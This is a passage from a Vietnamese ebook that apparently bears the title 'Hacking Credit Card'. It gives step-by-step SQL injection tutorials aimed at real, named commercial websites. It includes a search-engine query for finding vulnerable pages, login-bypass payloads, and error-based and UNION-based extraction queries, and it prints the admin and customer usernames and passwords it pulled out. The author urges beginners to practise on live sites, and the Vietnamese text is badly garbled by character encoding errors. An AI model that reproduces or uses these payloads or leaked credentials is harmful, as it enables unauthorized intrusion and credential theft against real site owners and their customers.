TUTORIAL HACK CFM FROM HC

Một phần của tài liệu Ebook Hacking Credit Card (Trang 61 - 66)

Thường thì các bạn chỉ search site dắnh sql injection và site đĩ xài ASP đúng khơng ... vậy sao ko search những site dùng cfm nhỉ. Hum nay lướt chơi thấy cĩ site bị lỗi nên đánh bạo post bài cho anh em đọc cĩ câu cú gì sai sĩt về kĩ

thuật xin anh em lượng thứ Tui là newbie mờ ...

Lên google gõ từ khĩa : allinurl:"affiliate-agreement.cfm?storeid"

Và kết quả cho ta vài trang ... okie chọn đại 1 trang coi tui chọn thằng này : QUOTE

http://www.channel69shopping.com/store/affiliate-agreement.cfm?storeid=

Thêm dấu ' vào xem ... QUOTE

http://www.channel69shopping.com/store/affiliate-agreement.cfm?storeid='

QUOTE

Error Executing Database Query.

[Macromedia][SequeLink JDBC Driver][ODBC Socket][Microsoft][ODBC SQL Server Driver][SQL Server]Line 3: Incorrect syntax near ''.

The error occurred in E:\mars\wwwroot\channel69shopping\store\loadconfig.cfm: line 4 Called from E:\mars\wwwroot\channel69shopping\store\affiliate-agreement.cfm: line 23 Called from E:\mars\wwwroot\channel69shopping\store\loadconfig.cfm: line 4

Called from E:\mars\wwwroot\channel69shopping\store\affiliate-agreement.cfm: line 23 2 : SELECT *

3 : FROM config

4 : WHERE ID=#storeid# 5 : </CFQUERY>

Chậc sao nhịm cái error wen wá dzậy trời ... Giờ ta thử 1 chút xem sao QUOTE

http://www.channel69shopping.com/store/affiliate-agreement.cfm?storeid=%2bconvert(int,(select%20top%201% 20table_name%20from%20information_schema.tables))--sp_password

Ặc ... xem cái gì hiện ra nè mấy bồ

QUOTE

Error Executing Database Query.

[Macromedia][SequeLink JDBC Driver][ODBC Socket][Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'administration' to a column of data type int.

Hay quá ta mới test đã ra cái mình cần rùi nè ... Lấy username và pass thui hihi à quên ... với thằng này bạn khơng thể

lấy cùng lúc cả username và pass được mà bạn phải lấy từng thằng một ... Khơng hiểu sao ... Kệ ... Cĩ cịn hơn khơng nha

QUOTE

[url=http://www.channel69shopping.com/store/affiliate-agreement.cfm?storeid=%2bconvert(int,(select%20top%201% 20username from administration]http://www.channel69shopping.com/store/aff...%201%20username[/url] from

Username là Administrator Rùi pass nữa nha

QUOTE

[url=http://www.channel69shopping.com/store/affiliate-agreement.cfm?storeid=%2bconvert(int,(select%20top%201% 20password from administration]http://www.channel69shopping.com/store/aff...%201%20password[/url] from

administration

Hehe pass nè : cartease Login đi thơi

http://www.channel69shopping.com/store/admin

Đã check thành cơng post cho các bác newbie như destroyer thực hành hope success (adsbygoogle = window.adsbygoogle || []).push({});

TUTORIAL NAửY KHÔNG BIẾT TÁC GIAỹ

Trong bài viết này, tơi sẽ có kèm theo quá trình inject mơt website vạ ̀ lý thuyết cơ bản về SQL injection để các ban cọ ́

thể hiểu rõ hơn. Nhưng có lẽ là chỉ cho newbie thơi, khi nào rỡi tơi sẽ viết và hướng dẫn advance sql injection, tất nhiên có kèm theo mơt site ̣ để các ban tḥ ực hành.

Chúng ta hãy bắt đầu :

Sql injection đang dần phở biến hiên nay, vạ ̀ có lẽ lỡi nhiều nhất vẫn là ở các site MS SQl. Nó rất nguy hiểm, nó cho phép chúng ta login mà khơng cần username và password, remote execution, dump data và truy xuất username + password ra ngoài bằng cách input các query/command vào input trước khi chuyển cho ứng dụng web xử lắ. Để thử

xem site đó có bi lợ ̃i hay khơng, ban tḥ ử input vào các field username và pass bằng : " or 1=1-- or 1=1-- ' or a=a-- " or "a"="a ') or ('a'='a ") or ("a"="a hi" or "a"="a hi" or 1=1 -- hi' or 1=1 -- hi' or 'a'='a hi') or ('a'='a hi") or ("a"="a 'or''='

và còn rất nhiều nữa tơi khơng tiên việ ́t ởđây. Rất có thể ban sẹ ̃ login được vào với quyền admin hoă ̣c mơt user nạ ̀o

đó. Nhưng ở bài viết này tơi nói đến cách truy xuất username và password ra ngoài để chúng ta mă ̣c nhiên vào trong CP.

Ởđây, tơi sẽ lấy ra mơt site bậ ́t kỳ, nhưng khi ban muợ ́n tấn cơng mơt trang nạ ̀o đó thi là i khạ ́c, ban phạ ̉i bỏ cơng ra tìm link nhiễm.

Muc tiêu tậ ́n cơng :http://www.naame.com/manageAccount/manaccount516.asp

Bây giờđể xác đinh xem cọ ́ bi SQL injection khơng, bạ n tḥ ử input các lênh tơi liệ t kê ̣ ở trên, khơng by pass login được ban input tḥ ử dấu ngoă ̣c đơn '

kết quả :

Microsoft OLE DB Provider for SQL Server error '80040e14' Unclosed quotation mark before the character string '''. /manageAccount/acctIncludes/manaccount_inc.asp, line 33

thế là biết muc tiêu bị lợ ̃i rời nhé, bây giờ viêc cậ ̀n làm là lấy được ra các table name của nó, dùng : 'having 1=1-- .Baṇ

hãy để ý thấy dâu --, vâng trong MS SQL, tất cả các thứ sau -- sẽ bi loạ i bọ ̉. Microsoft OLE DB Provider for SQL Server error '80040e14'

Column 'LoginTable.Account' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

/manageAccount/acctIncludes/manaccount_inc.asp, line 33

Ok rời : Column 'LoginTable.Account' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

Vây lạ ̀ ta lấy được 1 table rời đó. Bước tiếp theo : 'GROUP BY LoginTable.Account having 1=1-- Nó báo :

Microsoft OLE DB Provider for SQL Server error '80040e14'

Column 'LoginTable.UserName' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

/manageAccount/acctIncludes/manaccount_inc.asp, line 33

Lai lậ ́y được thêm mơt cợ t ṇ ữa rời. Ban thay vạ ̀o : (thêm 1 cơt vạ ̀ ngăn cách bằng dấu phẩy)

'GROUP BY LoginTable.Account, LoginTable.UserName having 1=1--

Ban c̣ ứ làm thế để lấy các table của nó. Tơi đã lấy sẵn ra cho các ban :̣

'group by LoginTable.Account, LoginTable.UserName, LoginTable.Password, LoginTable.DomainName, LoginTable. Credits, LoginTable.LoginType having 1=1--

Lấy được các table rời thi là ̀m gi? Cà ́c các ban nhị n và ̀o cơt "username" vạ ̀ "password" là thèm lắm rời, muớn lấy ra ngay, híc, nhưng phải từ từđã, đi đâu mà vơi. Cọ ́ được nó rời, ta thử tim mờ t link bị lợ ̃i (tìm nó trên thành address bằng cách thêm ' vào sau = hoă ̣c =cái gìđó'). Nhưng màở trang này nó khơng có mơt link nạ ̀o dính lỡi, thì ta lai ḍ ựa vào cái forum input vây.̣

Ta thử nhé : (input vào field username và password rời submit thử).

'union select min(UserName),1,1,1,1,1 from LoginTable where UserName > 'h'--

hì, chắc các ban sẹ ̃ hỏi mấy cái thằng 1,1,1,1,1 là gì sao lai ̣ đă ̣t ởđó, nói nơm na và dễ hiểu cho newbie luơn là các baṇ (adsbygoogle = window.adsbygoogle || []).push({});

đếm xem có bao nhiêu cơt ngoạ i tṛ ừ cơt Username vạ ̀ thay cho mơi cỡ t ̣ đó là 1 . thế thơi. Còn thằng UserName > 'h' à, nó sẽ "xuất" ra mơt username bậ ́t kỳ bắt đầu bằng letter 'h' .

Nó báo :

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'h20h20' to a column of data type int. /manageAccount/acctIncludes/manaccount_inc.asp, line 33

Cười tươi xem nào, có 1 thằng username làm cảnh rời nhé. Muớn biết password của náo thi là ̀m như sau : 'union select Password,1,1,1,1,1 from LoginTable where UserName = 'h20h20'--

Ta thay sau UserName là dấu = 'username vừa lấy được'-- Nó báo :

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'legogame' to a column of data type int. /manageAccount/acctIncludes/manaccount_inc.asp, line 33

Hì, password là legogame kia, bà n login ̣ đi, còn chờ gì nữa. * Note :

Nếu ban muợ ́n lấy thêm nhiều username khác thi :̀

'union select min(UserName),1,1,1,1,1 from LoginTable where UserName > 'h20h20'--

nó sẽ lấy ra mơt username khạ ́c. Nếu ban muợ ́n username bắt đầu bằng B chẳng han, thị ̀ thay bằng 'b'-- thế thơi. trong trường hợp ban muợ ́n tấn login vào mơt domain nạ ̀o đó đinh trước thi thay cờ t DomainName vạ ̀o cơt UserName.̣

Ví du , tơi ghẹ ́t thằng maika, nó có cái domain là H0MES4RENT.com mua ởđó thì tơi muớn biết password của nó ta dùng :

'union select password,1,1,1,1,1 from LoginTable where DomainName = 'H0MES4RENT.com'-- Nó báo :

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'joepinguelo' to a column of data type int. /manageAccount/acctIncludes/manaccount_inc.asp, line 33

Hi password là ̀ joepinguelo rời nhé, lai lậ ́y username của nó đi :

'union select UserName,1,1,1,1,1 from LoginTable where DomainName = 'H0MES4RENT.com'-- Kết quả :

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'joepinguelo' to a column of data type int. /manageAccount/acctIncludes/manaccount_inc.asp, line 33

Và Username là joepinguelo

Login thử xem, Username : joepinguelo Password : joepinguelo

Một phần của tài liệu Ebook Hacking Credit Card (Trang 61 - 66)